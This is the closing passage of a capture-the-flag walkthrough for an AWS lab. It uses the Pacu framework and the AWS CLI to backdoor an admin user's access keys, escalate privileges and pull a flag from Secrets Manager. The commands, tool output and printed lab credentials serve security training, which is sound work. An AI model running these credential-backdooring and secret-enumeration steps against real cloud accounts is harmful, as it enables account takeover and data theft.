[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys] cgidlbvbudjnyb_admin_user
[iam__privesc_scan] Running module iam__backdoor_users_keys...
[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys] cgidlbvbudjnyb_admin_user
[iam__backdoor_users_keys] Access Key ID: AKIAV7GUMQ3JAYXWGFCM
[iam__backdoor_users_keys] Secret Key: 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
[iam__backdoor_users_keys] iam__backdoor_users_keys completed.
[iam__backdoor_users_keys] MODULE SUMMARY:
1 user key(s) successfully backdoored.
[iam__privesc_scan] iam__privesc_scan completed.
[iam__privesc_scan] MODULE SUMMARY:
Privilege escalation was successful
Completing privilege escalation
As we can see from the output we now have set access keys on the "admin_user"
Access Key ID: AKIAV7GUMQ3JAYXWGFCM
Secret Key: 5qGrD63Vq9OHcBXMjLNN1PabBJmPa53kdYYWJ0MQAccess keys set on "admin_user"
Step 9 - Configure keys for "admin_user" and check that they are valid credentials.
Now that we have the keys, in another window or pane, let's configure a profile for the "admin_user"
aws configure --profile admin_user
AWS Access Key ID [****************OQUY]: AKIAV7GUMQ3JAYXWGFCM
AWS Secret Access Key [****************xbaJ]: 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
Default region name [us-east-1]:
Default output format [json]:Configuring "admin_user" profile
Now lets make sure the credentials are valid.
aws sts get-caller-identity --profile admin_user
{
"UserId": "AIDAV7GUMQ3JDDXTT2OHG",
"Account": "410614793938",
"Arn": "arn:aws:iam::410614793938:user/cgidlbvbudjnyb_admin_user"
}
Validating the credentials for "admin_user"
Step 10 - Import key into Pacu and retrieve the final flag.
Now that we know the credentials work, lets import these into Pacu and see if we can list secrets.
Pacu (bean2:imported-bean2) > import_keys admin_user
Imported keys as "imported-admin_user"Import "admin_user" keys into Pacu
Pacu (bean2:imported-admin_user) > run secrets__enum --region us-east-1
Running module secrets__enum...
[secrets__enum] Starting region us-east-1...
[secrets__enum] Found secret: cgidlbvbudjnyb_final_flag
[secrets__enum] Probing Secret: cgidlbvbudjnyb_final_flag
[secrets__enum] Probing parameter store
[secrets__enum] secrets__enum completed.
[secrets__enum] MODULE SUMMARY:
1 Secret(s) were found in AWS secretsmanager
' 0 Parameter(s) were found in AWS Systems Manager Parameter Store
Check ~/.local/share/pacu/<session name>/downloads/secrets/ to get the values
Downloading Secrets with Secrets Manager
NOTE: The output shows "Check ~/.local/share/pacu//downloads/secrets/" as we stayed in the "bean2" session the whole time (and just imported new keys) we will need to keep that in mind to read the secrets.
cat ~/.local/share/pacu/bean2/downloads/secrets/secrets_manager/secrets.txt
cgidlbvbudjnyb_final_flag:FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}
Reading the final flag
We have now completed the challenge with both Pacu and the AWS CLI. I hope this guide is helpful and feel free to contact me over on discord with any constructive critiques, tips, or questions.